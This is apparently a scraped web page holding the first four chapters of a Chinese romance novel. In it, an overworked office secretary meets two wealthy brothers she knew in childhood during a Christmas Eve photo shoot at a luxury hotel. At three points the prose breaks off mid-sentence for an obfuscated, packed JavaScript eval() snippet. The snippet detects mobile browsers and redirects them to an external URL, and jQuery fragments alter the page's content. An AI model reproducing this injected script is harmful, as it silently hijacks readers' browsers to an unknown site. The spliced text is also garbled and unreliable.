《傲慢的他》 1. 第一章 年底林清茉工作量爆表,她作为行政主管兼机要秘书,项目结项、年度总结、明年规划……各个业务部门的议题都要在她这里流转,每天需要审阅的上会材料看都看不过来,总结会、总办会和董事会排期排得满满当当,天天整理各种议程安排和会议纪要到晚上九点多,还要磨嘴皮子跟各位领导以及外部董事协调会议时间。 再加上闲不下来的总经理觉得今年效益很好,想犒劳各部门职工,提议年末搞个三天两晚的大型团建活动,催着行政部门赶紧订下方案,她还得抽空去对接酒店餐饮,忙得像个被抽打的陀螺。 偏偏人事部门跟她走得近的姐妹跟她透露小道消息,说分管林清茉的女副总张宁要给她绩效降级,理由是今年会议纪要中出现过几次错别字。 林清茉听闻简直气笑,盯着女副总办公室的门咬牙切齿,身边工位刚入职一个月的新人何姝一脸纯真地请教:“张宁副总刚才喊我过去,说晚上要宴请合作方,川姐,咱们一般订哪家餐厅?我需要过去端茶倒水吗?” 林清茉把餐厅经理推给她,何姝担心问着:“咱们部门要去后勤保障吗?会被要求陪酒吗?我不会喝,也不懂敬酒怎么办?” 林清茉瞥了一眼女副总办公室,觉得这位张宁副总不找她这个主管安排宴请,单独叫刚入职的小姑娘去承办,八成没安什么好心,就直接说着:“姐交你个办法,喝一口白的,拿起餐巾纸抿嘴,把酒吐到餐巾上,谁也瞧不出来,吐到你茶杯里也行,再不行你就装晕,装不舒服,机灵点妹妹。” 何姝刚毕业没多久,对此很是紧张焦虑,问着:“但是我不会说什么敬酒的话,不懂什么时候跟什么节奏。” 林清茉低头忙着审材料,回她:“妹啊,姐跟你开玩笑呢,咱们公司没有喊小姑娘陪酒的惯例,好歹是有头有脸的大企业,董事长很注意这些,都不差这口酒,搞出流言蜚语不值得。再说老板们的事儿都是机密内容,咱们就给订好餐厅,把握下菜单,保证酒水及时送到包间就行,赶紧写材料吧妹妹。” 何姝松了口大气,拍胸脯道:“跑腿送酒我没问题!我搜一下这个餐厅。”她搜了半天,突然发给林清茉一个链接,说着:“姐,我搜餐厅时候推给我一个关联推荐,这个我好心动,才399,天呐,好漂亮,姐你快看,我好想去过圣诞节!” 林清茉点开链接,标题赫然是“公主风奢华拼单名媛体验套餐”。 服务场地:柏金酒店 服务项目:1.柏金酒店豪华全景落地窗套房、云端CLUB夜景、63层圣诞树景观、埃尔法、泳池等多场景多机位专业摄影师拍照; 2.提供配套奢品礼服、高跟鞋、饰品、手表、包包等;氛围道具提供豪车、红酒、雪茄、鲜花、甜品等; 3.服装、化妆、拍摄、后期一条龙服务!奢华酒店拍出土豪大片!三位数让你体验名媛人生! 林清茉:“现在还有这种业务?妹妹啊,咱们是新时代独立女性,本来就是自强自立自信的真名媛好嘛,非去这假名媛体验干嘛呢?” 何姝翻着评论区点评道:“狭隘了我的姐,名媛不名媛是其次,但是好出片啊,当成旅拍嘛!我的天柏金酒店圣诞树太好看了,夜景无敌了,不行姐我好心动,陪我一起好不好!我刚咨询,说平安夜那天还有两个名额!我报名了姐!” 林清茉:“……”她一想女副总的嘴脸,决定缓缓也好,天天加班卖命意义何在,原本其实工作忙归忙,还挺顺心,忙得有成就感,但是自从这位副总空降过来,老是气场不对付,说找茬吧,人家确实拿捏到些小错处,说不是找茬吧,天天也没个好脸色,这不,小道消息传过来说是要给她绩效降级,她一个天天忙成狗的第一文秘,绩效被降级了那也是有得看了,巴巴盼了一年的年终奖是要减了,想到这儿觉得挺无趣。 林清茉决定放弃一天加班,应着何姝道:“那行吧,我等牛马去看看人家名媛人生都怎么过的。” 圣诞节平安夜,柏金大厦顶层,云端CLUB。 云端服务生有条不紊地紧张整理,准备迎接夜晚包场的贵客,老板和经理严阵以待,一项项核对餐品酒水。夜幕降临,大厦顶层三百六十度环绕的落地窗景之外,远眺入眼的北方山脉淡去夕阳余晖,隐入黑暗,繁荣城市的夜景成为绝对主角,华灯初上,金融中心区车水马龙,放眼望去一片灯光璀璨。 云端的位置跃层而上,将柏金大厦顶层空间一分为二,一半留给六十三层公共空间作为留白挑高,另一半则是占据六十六层全部空间的云端,像悬浮在柏金大厦内部的名利场。六十三层作为公众开放区域,每年圣诞节都是市里闻名的网红打卡圣地,今年也不例外。 两层楼高的巨大圣诞树全部用金色灯串铺满,华光如火,树身镶嵌满玻璃杖糖、铃铛、松果,还灵动地搭配了精致的小动物布艺金线刺绣,松鼠、狐狸、驯鹿跳跃其上。华美的圣诞树后就是六十三层的巨大落地窗,虽然跟顶层云端的环绕窗景差了几个档次,但是也足够惊艳了。 六十三层公共平台的尽头是云端CLUB专用电梯,今天有散客想上楼消费,都被服务生礼貌拒绝,解释今天上面已经全部约满,没有余位。 晚上八点钟,云端今晚的贵客,终于抵达。 包场的是融恒集团旗下的融恒置业。融恒置业的总经理施少衡在众人拥簇下来到了六十三层,转乘电梯前往云端。一众人西装革履派头十足,路过圣诞树的时候自然引得众人纷纷侧目,走在最前面的施少衡抬眼瞥了下圣诞树,觉得年年岁岁大差不离,看多了也挺乏味。 云端最佳景观位自然是留给他的,远能看最繁华的一片城市夜景,近能看六十三层圣诞树造景。融恒置业最新洽谈的业务成绩斐然,施少衡就借着圣诞节的日子,宴请中高层,顺便也邀约答谢一些合作方。 融恒置业副总主持场合,在说些场面话,施少衡端坐主位,装得正儿八经,心里烦得要命,跟过来凑热闹的好友张龙问着:“小施总今儿还请了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071954|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当红歌手来驻唱呢?” 施少衡没好气说着:“说八百遍了,别叫我小施总,活腻歪了是不?” 好友非常无所谓道:“这可怪不了我,大家都这么叫,谁让你头上有个大哥,人家才是正牌施总,融恒集团的总裁只有一位好吧,集团的施总默认就是你大哥,叫你一声小施总算是实事求是。” 施少衡:“滚。” 张龙嬉皮笑脸瞧着驻唱的歌手吐槽道:“请个男歌手什么意思?这能有什么看点,不如叫个女团。”他下巴点了点楼下圣诞树方向,跟施少衡小声说着:“那几个摆拍的美女应该是小网红,上来的时候我仔细看了,脸八成动过,一个模子的生产线,身材倒不错,你猜给多少钱能带走?” 施少衡对于自己这个从小就下半身自由行走的发小也是相当无语,没有参与物化女性的讨论,但是还是顺着那个方向看了眼楼下,有几个穿着抹胸短裙的女孩占据圣诞树前的位置摆拍各种撩人造型。 张龙见施少衡不接茬,又扒过来,这次下巴朝着不远处的那几桌点了点,压低声音说着: “知道那帮老家伙为什么过来捧场吗?听集团办的人说,施总的行程里有一项是今晚云端,你嘴巴也够严的,你哥今天真过来?是不是要专门过来给你捧场,果然还得是亲哥,我咋就没个亲哥撑我呢。” 施少衡:“他是你哥还是我哥?这么羡慕你要不换个姓给我哥当条看门狗?叭叭叭烦不烦。” 张龙:“只要你哥愿意收,当狗我也乐意。说真的,施总到底来不来。” 施少衡:“不知道。” 施少衡打发张龙去应付交际,他坐在座位上摆弄手机,拍了几张夜景,对着楼下的圣诞树也拍了几张,随手发给他哥,问着:“到底来不来?” 过了一会他哥才回复:“来。” 比他哥先到的是集团办行政主管,低调抵达后跟云端老板再次确认新一轮的酒水餐品,甚至对男艺人要演唱的歌单进行了审阅,检查妥当后过来跟施少衡打招呼,说着:“施总预计半个小时候到。” 施少衡抬手腕看表,反正坐这儿干等也是无聊,就起身说着:“我下去接一下。” 路过六十三层圣诞树的时候,施少衡再次看了眼那边围着排队打卡的人群,有个穿着黑色露背礼服裙的女孩在帮同伴拍摄,调整拍摄角度的时候往后退了几步,裙摆很长,散落在施少衡直线前行的路线上。 施少衡多看了一眼背对着他的女孩,绕行的时候瞥向女孩修长匀称的脖颈和皮肤白洁细腻的脊背,脑子里突然冒出张龙那句“多少钱能带走”的混账话。 难道是最近工作太努力忽略了那方面的需求? 施少衡走到大厦外面透气,等了十几分钟,他哥的座驾抵达。施少衡越过等待开车门的门童和集团总办的人,直接亲自过去给他哥拉开车门,浮夸语气说着:“欢迎施总大驾光临。” 他的哥哥,不管是年龄还是职位,永远压他一头的亲哥:施友臻。 2. 第二章 融恒集团作为家族企业,历经时代更迭,每每在风尖浪口都做出最正确的选择,发展至今不仅不见疲软,更是迎风而上,屡屡抓住机遇领域的时代红利。现今董事长为施友臻和施少衡的父亲,施董仍会参与重要决策和指导,不过集团实际运营基本都由稳重长子施友臻负责,次子施少衡暂时负责二级企业融恒置业。 施父敲定长子施友臻接任的时候,跟身边密友闲聊说着:“友臻最像爷爷,话少,但是心思不少,锋芒不外露。小时候老爷子最偏爱这小子,友臻三岁多干了坏事不吭声,老爷子竟然称赞他‘心有惊雷面如平湖可拜上将军’,我跟他妈都说老爷子太偏心,老爷子咬定三岁看老,结果好像确实是这样。” “少衡不一样,就是孩子心性,打小该哭哭该闹闹,他有哥哥庇护,只要不出格就是享福的命,吃不了苦也不需要吃苦。” 今晚集团总裁施友臻前来宴会,说白了就是为弟弟撑腰,融恒置业多涉及房产土地,项目利润空间巨大,上游下游合作方跟内部各层级负责人都是千丝万缕的关联,推项目的时候必然出现谁动了谁的蛋糕,今年虽然摆在明面的效益不错,但是私底下流言蜚语不少。 一块回家吃饭的时候,施父提点几句,虽然少衡嘴硬说不用,施友臻还是决定过来一趟。 各方都接到了施友臻抵达的消息,主要的几位负责人在楼下迎接,留在云端的诸位也是百转千回着心思严阵以待。 时间已经是晚上十点多,在柏金大厦六十三层拍照打卡的普通游客已经散去一半,不过仍旧有几组带着摄影师拍照的女孩,林清茉就是其中之一。 林清茉挑了一件黑色露背长款礼服,同事何姝忠于公主风,选了白色的蓬蓬裙,俩人排在最后一组拍摄,时间拖的比较晚,来都来了,林清茉拍得也是兴致盎然,哪有女孩不爱美,柏金大厦确实非常出片,光是圣诞树就氛围感拉满。不过准备去云端CLUB拍照的时候,出了点小插曲,云端入口电梯的服务生硬是不承认之前发来的预约短信有效,拦着不让上去。 有个刚才一直远远看着他们拍摄的男孩服务生还添了句:“今天不是低消就能进的场合。” 不说还好,一说简直就是激发了林清茉的战斗欲。 准备战斗的时候,施友臻以及迎接他的那队人马正好乘坐电梯抵达六十三层,穿过公共区域往云端专属电梯走来。施少衡跟在哥哥身后,路过圣诞树的时候,也讲不清自己为什么在意,仔细扫着人群,想找到那个穿着黑色露背礼裙的女孩,好像不在,是已经走了吗? 结果前行几步,在云端电梯旁见着了。 黑色礼服裙女孩这会戴着口罩,正在跟云端服务生交涉道:“我们收到了预约成功的信息,你们因为自己职工交接出问题导致我们的预约取消,为什么没有及时通知?这样很影响我们的行程,你现在轻飘飘说一句抱歉就没关系了吗?一定要面对面拨打12345或者12315才解决吗?” 云端经理已经看到走过来的施总和小施总,只想快点解决问题不要让人堵在这里,赶紧说着:“小姐,要不我们给您补偿VIP礼券?” 林清茉摇头拒绝:“不要,不是钱的问题,我今天约好了妆造和摄影师,都来了怎么改日期。” “怎么了?”施少衡快走两步,过来开口询问。 女孩闻声回头,看到了施少衡,又微微侧脸,看向施少衡身后的施友臻,眼神很明显地在俩人之间来回扫了那么一下,眉间微皱,但是立刻回过头,跟云端经理道:“算了,希望你们以后工作认真一点。” 女孩本来转身要走,施少衡脱口而出道:“应该还有空位,这位小姐预约在先的话,可以上去。” 施少衡说完都觉得自己有些莫名其妙,怀疑被损友精神污染,脑子里洗不掉“多少钱可以带走”那句话。他看了眼哥哥脸色,看不出什么来,就补了句:“毕竟影响了小姐的行程。” 女孩抬眼看他,明眸中有很明显的笑意,但是拒绝得非常干脆利落,说着:“打扰你们就是另外一码事了,谢谢,不用了。”想了想,侧脸又冲着施友臻的方向,补了句:“祝用餐愉快。” 施友臻在整个过程中都没有讲话,但是以罕见的耐心等待他们沟通完毕,脚步都没有挪动半分。 进场寒暄落座后,施少衡很有心事地往圣诞树那边看,好友张龙过来跟大哥打招呼,顺着二少爷的目光瞧去,毕竟是跟这兄弟厮混甚久,此刻也不会遮掩顽劣本性,说着: “刚才跟云端经理聊天,经理跟那个跟拍摄影师都熟了,你猜是什么业务?名媛体验套餐拼单,三位数,包一天酒店房间,提供车子、包之类,也会来云端订桌摆拍,现在真是行行出状元。” 张龙瞧着施少衡还一脸兴致地盯着那边看,自告奋勇道:“看上了?我去帮你约?名媛套餐吧,拍照估计也是进圈子的敲门砖,看上哪个了?” 施少衡伸腿踹张龙一脚:“闭嘴吧你,我哥在呢,找抽是不是。” 他哥施友臻面如平湖,不动声色地只是品酒,全然将他俩当成哈巴狗打闹。 黑色礼服裙女孩林清茉想着刚才的碰面,觉得非常荒诞好笑,她刚才觉得拍照人多,怕误入别人的镜头,自己拍完就戴上了口罩,这口罩戴得恰到好处,竟然在这里遇到了少时玩伴施少衡,这货二百五得竟然认不出来。 回想以前种种,认不出来最好。 倒是没想到也碰见了少衡他哥哥。 此时已经在收拾东西准备离开的林清茉,抬眼看向云端CLUB的落地窗,明净玻璃反射绚烂霓虹灯光,歌手的演唱开始了新的一轮。她拎着一眼不假,两眼不真的奢品包,招呼何姝离开,准备跟摄影师和化妆师回房间换几身衣服,继续拍几组照片。 准备进电梯的时候,云端的经理突然一路小跑追了过来,朝林清茉说着:“今天实在抱歉,待会不知道方便不方便,这边结束之后我打您预约时候留的电话,邀请您来云端用宵夜。” 林清茉遥遥望了一眼云端,说着:“估计会很晚吧,超过十二点就算了。” 何姝听到待会还可以上去,一脸兴奋问着:“真的?姐,去嘛去嘛,晚点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071955|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没关系!” 林清茉瞧着何姝兴奋的样子,想着399元对于一个刚入职实习期员工的工资来说,也不少了,就答应下来。 经理客套笑道:“好的,没问题,待会给您打电话。” 何姝进了电梯仍然掩饰不住的兴奋,感慨道:“这次体验太值了!下次要不要换个酒店体验,好爽,感觉我就是真公主,出片好漂亮!我去给点个好评!”他们回到拼单而来的房间,又换了一套妆造,在室内拍摄了一会,摄影师看了眼时间,说着:“服务时间到了,回去照片做完后期发给你们。” 何姝遗憾道:“可是云端还没拍呢。” 摄影师:“超时了哦,再拍要另外加钱,你们待会真要去的话,相互拍一拍好了,衣服你们可以挑一套穿,事后放大堂前台,明天早晨我们过来拿。祝小姐姐们玩得愉快,我们要赶紧收拾东西撤了,房间也要退掉,要赶下一场预约订单,小姐姐们满意的话可以继续下单,给个好评返优惠券。” 何姝遗憾道:“这次算是体验到灰姑娘的魔法了,十二点一到,啪!一切都消失。” 林清茉被她逗乐,小声说着:“消失什么啊,这些小香小迪小爱都是假货,都没你自己淘的那个真。” 何姝用最后一套选衣服的额度,挑了一套粉绿蓬蓬公主裙,林清茉仍旧挑了露肩露背抹胸裙,是条宝蓝长裙,长裙开叉很高,宝蓝色衬得皮肤白莹莹发光,单看衣服是很艳很浮的明艳蓝色,但是林清茉穿上后,却能压住衣服,呈现出明媚成熟的张扬颜色。 何姝瞧着林清茉,几分羡慕的感慨道:“清茉姐,你还真是挺敢穿的,好看。” 俩人换好衣服,正好云端经理电话拨了过来,留的其实是摄影师的预约电话,摄影师刚好收拾完东西,对林清茉她们说着:“云端现在有空位了,你们上去吧,下次见喽。” 林清茉其实挺想回家睡觉,但是拗不过跃跃欲试的何姝,就带着她过去。已经过了十二点,云端经理也丝毫不见懈怠,精神抖擞地站在电梯那里静候,林清茉想着这干到后半夜的工作也不容易,笑着跟经理说着:“我就是说说,不会真的打投诉电话,都是打工人是吧,但是下次真的得留意一下。” 经理也客套微笑道:“谢谢您体量。” 乘电梯上去,林清茉发现整个云端已经空无一人,原本应该人气攘攘的娱乐空间此刻空寂一片,但是丝毫不见宴会之后的杂乱,收拾得干净齐整,好像还处在等待宾客的初始阶段。林清茉本能觉得诡异,狐疑地看了一眼经理。 不过经理先请何姝坐在一个空桌之前,然后对林清茉说着:“您请这边来。” 跟着经理往里绕行一段距离,林清茉这才看见原来此处并非空无一人。 施友臻身姿挺拔地孑然独立于落地窗之前,听到脚步声望向前来的林清茉。 林清茉有些惊讶,顿住脚步,不过前前后后一想,云端经理哪能这么无缘无故释放善意,她心里大体猜到怎么回事,迎着男人走了过去。 林清茉大大方方打招呼道:“友臻哥好久不见。” 3. 第三章 施友臻好像从小就是一个面部表情不丰富的人,有种淡淡的无趣感,清茉小时候企图逗他玩,但是施友臻看向她跟少衡的眼神,活像在看两只滚了泥巴的哈巴狗,潜台词估计是别来沾。 当然,清茉跟少衡确实有次打闹掉进了后院池塘的泥巴水里,二楼窗边看书的施家哥哥“砰”地一声关上了窗户。 此刻,成年的施友臻气场更盛,少年的淡然变成了上位者的冷漠,施友臻请她坐下,没有废话直接开门见山道:“希望今天晚上只是一个意外插曲,也希望以后你跟我弟弟少衡保持距离。” 林清茉觉得好笑,也开门见山回道:“这么多年不见,哥您还是这么正经?您还当我是少衡的白月光呢?谢谢哥的抬举,不敢当不敢当。” 清茉笑盈盈瞧着施友臻冷漠的眸眼,觉得对方沉甸甸的视线中充满了自以为是的傲慢,好像全世界都要按照他的逻辑运行,万有引力都百搭。清茉心思一转,故意调整坐姿,高开叉的裙摆滑落一旁,她微侧身体,让白莹莹的修长线条半遮半露地朝着施友臻显现,清茉眸眼含笑说着: “哥,不是谁的人生都是一路坦途,谁能跟您和少衡一样好运气,我家什么情况您不是都门儿清嘛,流落这么多年,我一个柔柔弱弱小女孩能怎么办,当时能把债务还清已经烧高香了。我这些年都是夹缝生存,能吃饱就不错了。刚才您不都看到了嘛,我现在的职业,说得高端一点,叫‘商务模特’,哥,您知道什么意思吧?” 对面的施友臻,竟然难得一见的微蹙眉头,眼中满是不认可,林清茉心动一动,愈发来戏,继续说着: “我们这行来钱很快,点单之后都是日结,您弟弟要是真的点我,那我也不能破坏口碑不接不是嘛,圈子里口碑很重要的。” 眼瞧着施友臻眉头又蹙紧几分,林清茉赶紧圆着:“不过您应该可以放心,这种情况绝对不会发生,您的二百……您的弟弟都没认出我来。我保证今天是意外,估计以后也没那么轻易碰到,放心吧哥,您对我这么讨厌,我肯定躲远远的。” 林清茉将裙摆正了正,坐得端庄一些,笑着问道:“对了,您是特意喊我上来说这事的吗?哥,能请我吃饭吗?我可以点贵一点吗?好饿。” 施友臻仔细看着林清茉眼睛,好像在考量和观察,说着:“可以。” 林清茉朝着备在一旁的经理抬手,接过菜单开始研究,毫不客气点了等级最贵的牛排,配了个清淡沙拉,翻到甜品,说着:“平安夜……再加一个苹果挞,和提达米苏。” 经理看向施总,施友臻说了句:“给她朋友也来一份。” 清茉听见抬眼看他,施友臻果然还是老样子,没什么温度,但是挑不出错。林清茉心底喟叹,其实她也不想碰见施家兄弟,那属于改名换姓之前的封存时光,如今回头看,恍惚是另外一个世纪,有人还葆有着原先的模样,有人早就沧海桑田换了天地。 林清茉将心底的不舒服,变成带着一点顽皮劣性的恶作剧,继续扮演沉沦于物质金钱的女孩,问着:“哥,这边有你存酒吗?可以喝最贵的吗?” 施友臻抬腕看了眼时间,林清茉紧追不舍:“哥,你腕表好高级,很贵吧。” 施友臻:“喝吧。” 林清茉:“真的?谢谢哥!”然后就又积极举手召唤经理,说着:“施总最贵的酒,谢谢。” 经理再次看向施总,施友臻说着:“拿支红酒,时间很晚了,喝一杯佐餐。” 林清茉:“一杯?哥,你舍不得?太小气了。” 施友臻:“给你带走几支。” 林清茉闷笑,调整表情说着:“谢谢哥。” 餐食上桌,施友臻竟然就这么安静陪着她吃,目光沉沉像是在认真思考什么事情,林清茉被他盯得有些心里发毛,想着快点吃完快点撤,加快速度没吃两口,结果施友臻突然来了句:“慢慢吃,不着急,给你办张关联卡,喜欢可以再来。” 林清茉默默想着,你不急,我挺急的。 敢情这是觉得她这些年没吃过好的,可怜她?倒也不必有以后,清茉问着:“哥,你怎么认出我的?刚才在电梯口,我戴着口罩,不容易认吧,少衡就没认出来。” 施友臻没有顺着清茉的话茬说,而是说着:“把你手机给我。” 林清茉乖乖递过去,施友臻让她解锁,然后在清茉通讯录页面输入了一串电话号码并回拨,说着:“这是我的号码,遇到困难可以找我,你现在的职业不长远。你还年轻,做选择要慎重。” 林清茉心里一突,听着施友臻高高在上的评判,站在云端的人,果然习惯睥睨人间,这哥还真是老样子,明明看不惯,还要道貌岸然地展示人道主义关怀,是要隔绝要弄脏他宝贝弟弟的隐患吗?那还真是目光长远,想挺多的。 清茉伸手接过手机,指尖无意碰到了施友臻的手,少时未能得逞的恶作剧心性被勾起,她借势故意去蹭施友臻的手背,手指轻勾了一下他的小指,笑道:“人各有志嘛,哥,您有需求的话,要不要给我打电话?毕竟是融恒集团的施总,可遇不可求不是吗?” 施友臻明显蹙眉,林清茉也有些害怕施友臻真的生气,见好就收,赶紧笑道:“今天谢谢哥请吃饭,好像从小跟着哥就有好吃的,我得先走了,明天还有安排。也谢谢哥请我朋友吃饭。” 林清茉起身,施友臻也站了起来,经理按照施友臻的吩咐备好了酒,说着:“车在楼下,施总……” 施友臻:“先送他们回家。” 林清茉见施友臻连车也安排好了,哪怕只是表面客套,心底还是久违地一暖,进电梯后转身又看向施友臻,望着来自旧时光的故人,连同那些好好坏坏的尘封记忆,心中并不轻松,克制下仍觉眼眶发酸。 电梯门即将关上的那刻,施友臻探手拦住,脱下外套递给林清茉,说着:“披上。” 林清茉之前为了拍照方便,来云端前将衣服寄存在了酒店前台,本想解释拒绝,电梯门已经关上。 电梯内的镜面照射出林清茉此刻的样子,为了拍照妆造化得偏浓艳,平价的美妆扛不住深夜凌晨的时间,细看已经浮粉,带着几分廉价劣质的意味,露出的双肩此刻也觉察凉意,林清茉展开施友臻的西装外套,披在肩头,陌生的男士香氛味道萦绕周身,冷冽木香很是沉淀清冽,是很高级的味道。 因为气施友臻见面第一句就是警告她不准靠近少衡,热热闹闹编了好多谎话,热闹之后心里并不好受,她原本也不是自轻自贱的人,但是面对施友臻考量的眼神,她有些没有把握好分寸,演过火了。 不过也无所谓,以后不去接触就行了,天大地大,没有那么多巧合。 林清茉下车前,将施友臻的西装放在车上,谢过司机,说着:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071956|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外套是你们施总的,待会麻烦转交一下,谢谢,添麻烦了。” 清茉回到自己住处已经将近凌晨三点,洗漱钻进被窝,睡前盯着施友臻的电话号码看,这家伙一板一眼习惯了,录入号码的时间将名字板板正正打上:“施友臻”三个字。 林清茉长按,点了删除。 第二天是工作日,林清茉被闹铃叫醒,困得埋在被子里差点又睡过去,强打精神起床,洗漱时瞧着自己的黑眼圈,连着打好几个哈欠,想着今天的工作内容,昨天下班就去浪,挤压下几个文字材料没写,估计得趁着午休时间赶赶工。 紧赶慢赶踩着点儿进公司,同事何姝朝着林清茉眨眨眼,小声说着:“张宁总一大早进公司就找你,看着脸色不大好,让你来了过去找她。” 林清茉倒了杯热水润了下嗓子,才去敲门,问着:“张总,您找我?” 张宁副总一脸很是不高兴,质问着:“OA上有个传阅文件,经你权限进行的流转,为什么不单独再跟我提一下,昨天董事长过问文件内容,我竟然还不知道这回事,林主管你也入职时间不短了,怎么还是犯这种错误?” 林清茉:“……”她每天流转的文件多了去了,挨个副总去敲门提醒吗?OA未读提示又不是故障了。心里吐槽,嘴上诚恳:“抱歉,是我疏忽,下次一定注意。” 张副总没好气地让她出去工作,林清茉坐回工位,何姝凑过来问着:“没事吧。” 林清茉:“没事。” 何姝又问着:“昨天晚上是谁啊?请我们吃饭的那位老板,是你朋友吗?我看你跟他聊得挺开心。” 林清茉敲键盘写文件,回着:“嗯,算是。” 何姝仍旧沉浸在话题中,说着:“感觉是很厉害的人,我还以为姐你会给我介绍一下,就留我单独在那里吃,怪不好意思,下次能不能介绍一下。” 林清茉抬头看了一眼何姝,说着:“下午三点董事会,提前去整理好会务吧,何副总有议题要汇报,她的材料提前先给她一份。” 何姝:“哦。” 下午开会,董事长和总经理外出调研回来,进会议室瞧见林清茉打招呼道:“年末够忙吧。” 清茉其实跟总经理时间最长,何副总是下半年才空降过来的,这会当着董事长的面儿,清茉玩笑似的说道:“可不是,不怕您笑话我,全靠年终奖吊着一口气儿,您看我这黑眼圈,一闭眼脑子里全是会议纪要,我现在可是行走的保密机。” 董事长年纪大,亲和道:“还真是黑眼圈很明显,清茉可是这几年表现最优秀的文秘,把咱们集团流转效率都拔高了。” 主管清茉的何副总跟其他几位领导也进会议室落座,林清茉坐在文秘位置盘算,再这么天天刁难人,就跟总经理申请调岗,去项目部门得了,赚的还多。 当一天和尚撞一天钟,好赖先过年吧。她正记录发言重点呢,有个号码拨了进来,林清茉看着是陌生来电,就给摁了。但是这个号码锲而不舍地又打进来两次,清茉想着可能是网购的快递小哥着急联系确认收货。 林清茉就短信回复着:“您好,麻烦帮我把快递放东门货架,谢谢师傅。” 发完果然消停了,只是过了几分钟,手机进来一条信息,来自刚才的陌生号码,点开信息,里面言简意赅明晃晃五个大字: “我是施友臻。” 4. 第四章 林清茉瞧着“施友臻”三个大字,有那么一瞬间后悔昨天只是删除不是拉黑。 杀伐果断的林清茉小姐,敢想敢干,想着现在拉黑也不晚,果断将该号码拉进黑名单。 如果说是什么心理,大概是类似于近乡情怯。施家兄弟倒是也没得罪过清茉,少时玩闹的时候也都还算处得愉快,施家弟弟是热热闹闹的狐朋狗友,施家大哥则从小就是大人模样,看着不跟他们合群,但是像个影子处处存在,提醒管教他们哪个危险,哪个出格,哪个不可以。 算是一段无忧无虑的好时光。 这些年,林清茉用了很大力气从过去的世事更迭中脱身而出,蜕变出一个崭新独立的生活,跟过去的人再纠缠,好像是被迫重新走进一个梦魇,会重复面对,重复被提醒,重复疼痛,所以,还是让那条界限清清楚楚地继续隔绝着现在和以前就好。 而且当时有很多传言,施家也不是善茬,林清茉家里散财保平安的时候,据说施家也鲸食了很大的部分。 清茉那时候还懵懵懂懂,不懂那么多事业上的事情,现在想返回去追溯查证,知情人顾及利弊,也都不愿意再透露了,那些隐秘的交易,难说是不是空穴来风。 走神了一瞬,会议进行到下一个议题,换了汇报人,清茉的手机也没再响。 最后一个议题结束,董事长和几个经理留下单独再开个短会,清茉也被喊住,总经理让清茉汇报下年末公司团建的事情,清茉把备选的几个方案都简介明了汇报一番,总经理跟董事长还没说什么,何副总对每一个方案都表达了不满意。 何副总:“组织这么多人团建,后勤保障得考虑周全,这几个方案欠考虑,我看清茉年末也很忙,这个工作要不就让何姝负责,锻炼锻炼新人。” 清茉心里默默吐槽,那可谢谢您啦。这么多人的团建是一笔不小的开支,公司向来宽待员工福利,接待标准不低,林清茉觉得何副总这是想绕开自己,支使啥都不懂的新人何姝,把这笔经费给她的关系户承办。 董事长跟总经理没说什么,林清茉乐得轻松更不会提反对意见,她减掉一个麻烦的工作任务,何乐而不为。清茉笑道:“行,我回头跟何姝交代一下注意事项,她很细心,责任心也强,没问题的。” 开完会清茉就赶紧去撰写会议纪要,把团建的事情顺口给何姝交代了,何姝惶恐问着要怎么组织,清茉说着:“你就听何副总安排就行。” 忙到下班点,手机上又有个陌生号码打进来,清茉觉得这次该是快递小哥了吧,接起来问着:“喂?” 对方:“你把我拉黑了?” 林清茉听着熟悉的音色一怔,看了眼号码,说着:“您打错了。”然后挂断,并再次拉黑。 结果对方又换了个号码,林清茉继续拉黑,对方立马又换,甚至发来一条信息:“信不信我能一直打。” 林清茉无语,估计这些年施家大哥没被人这么对待过,估计没人敢给他撂脸色,执着什么劲儿啊,还整上胜负欲了。 想当年她跟施少衡玩得过了头,放烟花的时候把院子里准备的圣诞树给点了,窜天火光映照着施友臻黑着的脸色,施友臻罚他俩在外面站了半个钟头,进屋还用戒尺对着他俩手心每人打了十下。 那次把林清茉给打哭了。 施友臻不知道出于什么心理,事后给林清茉送了礼物,后来每年圣诞节都成了惯例,施友臻会送很郑重的礼物,直到中断联系的那年。 施友臻以前就是自以为是的固执,正确跟错误有刚直的界限,是非取舍有他自己的决断标准,林清茉知道这电话要是不接,他搞不好真的能一直打下去。 林清茉接了,问着:“哪位?” 施友臻:“是我。” 林清茉:“不好意思,客户有点多,您贵姓?” 施友臻:“把我号码放出来,有话给你讲,我发个地址给你。” 林清茉:“哥,咱得预约的,我时间排很满,不过您要是出价高,当然有的聊。” 施友臻那边沉默了片刻,但是也听不出来有什么情绪波澜,继续说着:“可以。” 